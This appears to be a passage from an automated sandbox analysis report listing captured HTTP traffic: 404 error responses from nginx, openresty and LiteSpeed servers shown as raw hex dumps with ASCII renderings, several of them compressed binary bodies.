73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: nginxDate: Mon, 05 Aug 2024 13:31:42 GMTContent-Type: text/htmlContent-Length: 548Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/5.6.40content-type: text/html; charset=UTF-8content-length: 810content-encoding: brvary: Accept-Encodingdate: Mon, 05 Aug 2024 13:32:16 GMTserver: LiteSpeedData Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 d7 ce f1 a3 55 51 11 eb 5b 75 ab 6e c9 0a c3 c1 34 36 af 88 38 66 27 85 b7 59 a5 a8 0d 68 ca 6f f8 c5 a5 06 94 fc e1 e1 4a 22 3e 29 92 5a e0 ad 92 7a 16 1c 07 b3 50 be 91 13 b8 92 19 88 02 01 28 dd a0 57 a4 fe 44 cd 72 ba c5 ba b1 26 b5 1a 5a 27 f5 6c d9 4c 65 2a 5b 0d 48 b1 ef bf de 16 85 ac d9 da 2c 45 1d ea c2 a2 ef 69 c1 3d a0 c5 71 e4 07 e2 45 6b 84 cf 34 27 43 9e a6 fe 15 ea 69 38 ac ac f3 8b a1 42 8a b6 4f 70 3e 43 a5 1d e4 ed a9 19 9b 74 70 8d 4b c2 a9 29 b4 ca 82 44 d4 40 a5 6c dc de a8 e9 b2 8b a7 61 99 52 d3 65 97 c8 70 99 4d 78 ae 40 a6 6a 60 78 b7 56 85 14 af dd 48 16 21 44 ff e0 f9 7c 4e c2 6c c9 37 ce 26 61 c2 8a aa 32 de 05 47 f6 cb 3c ce 67 b4 08 1d 05 06 8b 0e 7a 72 e4 b1 6a 41 0a 18 25 cd 1a c1 15 d8 a7 58 24 44 9f fa fb 92 2a 6b 28 62 10 38 ae 7d e9 a5 e0 4f 0b 29 e0 fc 4b df d7 e4 8f 1d 8d 33 84 65 2e 7b 13 41 49 cb 64 a8 5a ec 0c 06 ca 5f 84 db 19 ce 54 c6 e2 d7 81 24 91 54 5e f7 16 c3 02 d3 cc 68 0d 3e 93 d5 d5 18 42 ef 2c 63 cf c7 8e be 4f bf 80 c5 d1 c0 e4 17 5a 36 9a f4 c1 72 42 93 7d 1c 51 16 10 62 93 14 6d f3 a4 cf 63 fd 67 d4 ce f1 aa 90 22 2d fc 06 fc f9 09 99 52 59 9c a9 ec 1a 62 78 67 68 c1 b3 d3 76 86 6c dc 69 bd 22 fd 46 39 90 9e 5b e6 29 e5 07 e6 46 9e ea 11 b3 4f d8 a7 58 80 1e 10 70 2c 0d db b9 6a cb c4 7e c3 3d ff fd 75 06 e7 71 c1 7d 00 ed 46 b2 f3 14 de 0e d6 f8 29 ca f7 e1 ce 04 da 05 46 5f 2d 88 51 00 9b 9a 0c ed 53 14 b7 36 0d 1e 71 69 cb e3 50 48 01 Data Ascii: \:^3*{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/5.6.40content-type: text/html; charset=UTF-8content-length: 810content-encoding: brvary: Accept-Encodingdate: Mon, 05 Aug 2024 13:32:19 GMTserver: LiteSpeedData Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 d7 ce f1 a3 55 51 11 eb 5b 75 ab 6e c9 0a c3 c1 34 36 af 88 38 66 27 85 b7 59 a5 a8 0d 68 ca 6f f8 c5 a5 06 94 fc e1 e1 4a 22 3e 29 92 5a e0 ad 92 7a 16 1c 07 b3 50 be 91 13 b8 92 19 88 02 01 28 dd a0 57 a4 fe 44 cd 72 ba c5 ba b1 26 b5 1a 5a 27 f5 6c d9 4c 65 2a 5b 0d 48 b1 ef bf de 16 85 ac d9 da 2c 45 1d ea c2 a2 ef 69 c1 3d a0 c5 71 e4 07 e2 45 6b 84 cf 34 27 43 9e a6 fe 15 ea 69 38 ac ac f3 8b a1 42 8a b6 4f 70 3e 43 a5 1d e4 ed a9 19 9b 74 70 8d 4b c2 a9 29 b4 ca 82 44 d4 40 a5 6c dc de a8 e9 b2 8b a7 61 99 52 d3 65 97 c8 70 99 4d 78 ae 40 a6 6a 60 78 b7 56 85 14 af dd 48 16 21 44 ff e0 f9 7c 4e c2 6c c9 37 ce 26 61 c2 8a aa 32 de 05 47 f6 cb 3c ce 67 b4 08 1d 05 06 8b 0e 7a 72 e4 b1 6a 41 0a 18 25 cd 1a c1 15 d8 a7 58 24 44 9f fa fb 92 2a 6b 28 62 10 38 ae 7d e9 a5 e0 4f 0b 29 e0 fc 4b df d7 e4 8f 1d 8d 33 84 65 2e 7b 13 41 49 cb 64 a8 5a ec 0c 06 ca 5f 84 db 19 ce 54 c6 e2 d7 81 24 91 54 5e f7 16 c3 02 d3 cc 68 0d 3e 93 d5 d5 18 42 ef 2c 63 cf c7 8e be 4f bf 80 c5 d1 c0 e4 17 5a 36 9a f4 c1 72 42 93 7d 1c 51 16 10 62 93 14 6d f3 a4 cf 63 fd 67 d4 ce f1 aa 90 22 2d fc 06 fc f9 09 99 52 59 9c a9 ec 1a 62 78 67 68 c1 b3 d3 76 86 6c dc 69 bd 22 fd 46 39 90 9e 5b e6 29 e5 07 e6 46 9e ea 11 b3 4f d8 a7 58 80 1e 10 70 2c 0d db b9 6a cb c4 7e c3 3d ff fd 75 06 e7 71 c1 7d 00 ed 46 b2 f3 14 de 0e d6 f8 29 ca f7 e1 ce 04 da 05 46 5f 2d 88 51 00 9b 9a 0c ed 53 14 b7 36 0d 1e 71 69 cb e3 50 48 01 Data Ascii: \:^3*{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/5.6.40content-type: text/html; charset=UTF-8content-length: 810content-encoding: brvary: Accept-Encodingdate: Mon, 05 Aug 2024 13:32:21 GMTserver: LiteSpeedData Raw: c2 18 01 80 5c 3a ad 5e 33 2a fa 1d 7b ae 23 c8 f8 22 b6 f9 58 a6 54 2f 68 01 11 24 46 5a 07 b8 b9 aa f8 a2 fc fa db af d2 f4 fb cd 10 12 21 d1 e2 b3 84 6a fa 44 48 66 cf 70 4f 44 b5 eb 1c a1 30 89 4b 75 9e 17 17 17 f7 90 4d df 4d e4 1b a7 cc 91 cc 1d 64 1e 25 03 50 06 cd 54 a2 59 af 5a 72 30 c8 e3 d0 42 fd 72 07 58 ca e6 e1 e1 61 c1 08 db 3a 0d 36 30 34 0d 2b 73 18 37 12 7f 8b 01 ff 54 85 cb a6 e8 8b 0f 19 55 8b 3e 10 1f 2c b8 58 5a de e4 8b 23 b7 ea f9 08 dd ba c0 c6 36 c9 34 3c 82 fa 3d 45 4e 56 65 de 68 41 78 d7 a9 4f ae 74 ec 9b d4 70 00 b0 46 60 bc 00 f4 46 36 3c 50 41 e3 3f 81 18 26 a7 81 e7 11 50 7b 0a 34 82 35 04 8b c5 4e 1f 3b 82 60 fe fd 80 ff bf 51 93 85 40 fe 6c 02 7c ff fe dd 24 a4 7c f4 0f 49 81 f9 60 6c 1f 01 e6 27 13 0c 93 7e 94 a2 76 96 73 d8 64 d3 05 4e e4 35 5a 8c 20 d0 78 77 52 14 e0 7b d5 7a bb dd ee a4 60 ba 70 ec ed f4 80 0d 78 0f 29 9e a4 30 63 f3 28 45 8d 62 25 57 d3 e5 96 67 60 de ba 13 f9 08 30 c7 8a cd 89 1e 81 aa 53 4a 11 7f 84 90 4f 68 cd 9e 42 45 aa 06 66 17 9e a4 58 d7 ce f1 a3 55 51 11 eb 5b 75 ab 6e c9 0a c3 c1 34 36 af 88 38 66 27 85 b7 59 a5 a8 0d 68 ca 6f f8 c5 a5 06 94 fc e1 e1 4a 22 3e 29 92 5a e0 ad 92 7a 16 1c 07 b3 50 be 91 13 b8 92 19 88 02 01 28 dd a0 57 a4 fe 44 cd 72 ba c5 ba b1 26 b5 1a 5a 27 f5 6c d9 4c 65 2a 5b 0d 48 b1 ef bf de 16 85 ac d9 da 2c 45 1d ea c2 a2 ef 69 c1 3d a0 c5 71 e4 07 e2 45 6b 84 cf 34 27 43 9e a6 fe 15 ea 69 38 ac ac f3 8b a1 42 8a b6 4f 70 3e 43 a5 1d e4 ed a9 19 9b 74 70 8d 4b c2 a9 29 b4 ca 82 44 d4 40 a5 6c dc de a8 e9 b2 8b a7 61 99 52 d3 65 97 c8 70 99 4d 78 ae 40 a6 6a 60 78 b7 56 85 14 af dd 48 16 21 44 ff e0 f9 7c 4e c2 6c c9 37 ce 26 61 c2 8a aa 32 de 05 47 f6 cb 3c ce 67 b4 08 1d 05 06 8b 0e 7a 72 e4 b1 6a 41 0a 18 25 cd 1a c1 15 d8 a7 58 24 44 9f fa fb 92 2a 6b 28 62 10 38 ae 7d e9 a5 e0 4f 0b 29 e0 fc 4b df d7 e4 8f 1d 8d 33 84 65 2e 7b 13 41 49 cb 64 a8 5a ec 0c 06 ca 5f 84 db 19 ce 54 c6 e2 d7 81 24 91 54 5e f7 16 c3 02 d3 cc 68 0d 3e 93 d5 d5 18 42 ef 2c 63 cf c7 8e be 4f bf 80 c5 d1 c0 e4 17 5a 36 9a f4 c1 72 42 93 7d 1c 51 16 10 62 93 14 6d f3 a4 cf 63 fd 67 d4 ce f1 aa 90 22 2d fc 06 fc f9 09 99 52 59 9c a9 ec 1a 62 78 67 68 c1 b3 d3 76 86 6c dc 69 bd 22 fd 46 39 90 9e 5b e6 29 e5 07 e6 46 9e ea 11 b3 4f d8 a7 58 80 1e 10 70 2c 0d db b9 6a cb c4 7e c3 3d ff fd 75 06 e7 71 c1 7d 00 ed 46 b2 f3 14 de 0e d6 f8 29 ca f7 e1 ce 04 da 05 46 5f 2d 88 51 00 9b 9a 0c ed 53 14 b7 36 0d 1e 71 69 cb e3 50 48 01 Data Ascii: \:^3*{#"XT/h$FZ!jDHfpOD0KuMMd%PTYZr0BrXa:604+s7TU>,XZ#64<=ENVehAxOtpF`F6<PA?&P{45N;`Q@l\|$\|I`l'~vsdN5Z xwR{z`px)0c(Eb%Wg`0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundConnection: closex-powered-by: PHP/5.6.40content-type: text/html; charset=UTF-8content-length: 2247date: Mon, 05 Aug 2024 13:32:24 GMTserver: LiteSpeedData Raw: 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 58 48 54 4d 4c 20 31 2e 30 20 54 72 61 6e 73 69 74 69 6f 6e 61 6c 2f 2f 45 4e 22 20 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 78 68 74 6d 6c 31 2f 44 54 44 2f 78 68 74 6d 6c 31 2d 74 72 61 6e 73 69 74 69 6f 6e 61 6c 2e 64 74 64 22 3e 0d 0a 3c 68 74 6d 6c 20 78 6d 6c 6e 73 3d 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 31 39 39 39 2f 78 68 74 6d 6c 22 20 78 6d 6c 3a 6c 61 6e 67 3d 22 70 6c 22 20 6c 61 6e 67 3d 22 70 6c 22 3e 0d 0a 3c 68 65 61 64 3e 0d 0a 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 63 68 61 72 73 65 74 3d 55 54 46 2d 38 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 41 75 74 68 6f 72 22 20 63 6f 6e 74 65 6e 74 3d 22 64 68 6f 73 74 69 6e 67 2e 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 43 6f 70 79 72 69 67 68 74 22 20 63 6f 6e 74 65 6e 74 3d 22 64 68 6f 73 74 69 6e 67 2e 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 4c 61 6e 67 75 61 67 65 22 20 63 6f 6e 74 65 6e 74 3d 22 70 6c 22 20 2f 3e 0d 0a 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 52 6f 62 6f 74 73 22 20 63 6f 6e 74 65 6e 74 3d 22 69 6e 64 65 78 2c 20 66 6f 6c 6c 6f 77 22 20 2f 3e 0d 0a 3c 74 69 74 6c 65 3e 64 68 6f 73 74 69 6e 67 2e 70 6c 20 2d 20 70 6f 64 20 74 79 6d 20 61 64 72 65 73 65 6d 20 6e 69 65 20 7a 6e 61 6a 64 75 6a 65 20 73 69 c4 99 20 c5 bc 61 64 65 6e 20 73 65 72 77 69 73 20 57 57 57 3c 2f 74 69 74 6c 65 3e 0d 0a 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 0d 0a 61 3a 6c 69 6e 6b 2c 20 61 3a 76 69 73 69 74 65 64 7b 0d 0a 66 6f 6e 74 3a 20 31 32 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 23 33 33 33 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 6e 6f 6e 65 3b 0d 0a 7d 0d 0a 69 6d 67 7b 0d 0a 62 6f 72 64 65 72 3a 30 70 78 3b 0d 0a 7d 0d 0a 61 3a 68 6f 76 65 72 2c 20 61 3a 61 63 74 69 76 65 7b 0d 0a 63 6f 6c 6f 72 3a 23 30 30 30 3b 0d 0a 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 3b 0d 0a 7d 0d 0a 23 74 72 65 73 63 7b 0d 0a 66 6f 6e 74 3a 20 31 32 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 20 23 33 33 33 3b 0d 0a 7d 0d 0a 23 66 6f 6f 74 7b 0d 0a 66 6f 6e 74 3a 20 31 30 70 78 20 76 65 72 64 61 6e 61 2c 20 73 61 6e 73 2d 73 65 72 69 66 3b 0d 0a 63 6f 6c 6f 72 3a 23 36 30 36 30 36 30 3b 0d 0a 74 65 78 74 2d 61 6c 69 67 6e 3a 63 65 6e 74 65 72 3b 0d 0a 70 6f 73 69 74 69 6f 6e 3a 61 62 73 6f 6c 75 74 65 3b 0d 0a 62 6f 74 74 6f 6d 3a 35 70 78 3b 0d 0a 77 69 64 74 68 3a 39 39 25 3b 0d 0a 7d 0d 0a 0d 0a 2e 66 3a 6c 69 6e 6b 2c 20 2e 66 3
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Mon, 05 Aug 2024 13:32:44 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Mon, 05 Aug 2024 13:32:46 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Mon, 05 Aug 2024 13:32:49 GMTContent-Type: text/htmlTransfer-Encoding: chunkedConnection: closeContent-Encoding: gzipData Raw: 61 63 0d 0a 1f 8b 08 00 00 00 00 00 04 03 ed 90 b1 0a 02 31 10 44 7b c1 7f 58 3f 20 44 e1 ca 90 46 14 2c b4 f1 0b 72 ee 7a 09 e4 b2 c7 5e 2c ee ef 4d f4 0e c4 da d2 72 67 de 0c c3 1a 9f fb 68 d7 2b e3 c9 a1 35 39 e4 48 b6 d9 36 70 e1 0c 47 7e 24 34 fa 2d 1a fd 42 0a da 32 4e 35 72 a3 94 49 ac f1 bb ef 44 51 8c 9e ed da 5d a0 f9 e2 81 92 d0 98 a7 4f 5f 2f 8d 7a 59 b3 51 0a 1c 0c 0e 31 a4 0e 32 03 86 d1 b5 91 e0 7c 3d 1d c0 25 84 bd 17 ee 09 ee 12 28 61 9c 80 44 58 4a a2 23 50 aa ae fb 57 fc f2 17 4f 11 d4 0d c8 28 02 00 00 0d 0a 30 0d 0a 0d 0a Data Ascii: ac1D{X? DF,rz^,Mrgh+59H6pG~$4-B2N5rIDQ]O_/zYQ12\|=%(aDXJ#PWO(0
Source: global traffic	HTTP traffic detected: HTTP/1.1 404 Not FoundServer: openrestyDate: Mon, 05 Aug 2024 13:32:51 GMTContent-Type: text/htmlContent-Length: 552Connection: closeData Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6f 70 65 6e 72 65 73 74 79 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>openresty</center></body></html><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page --><!-- a padding to disable MSIE and Chrome friendly error page -->
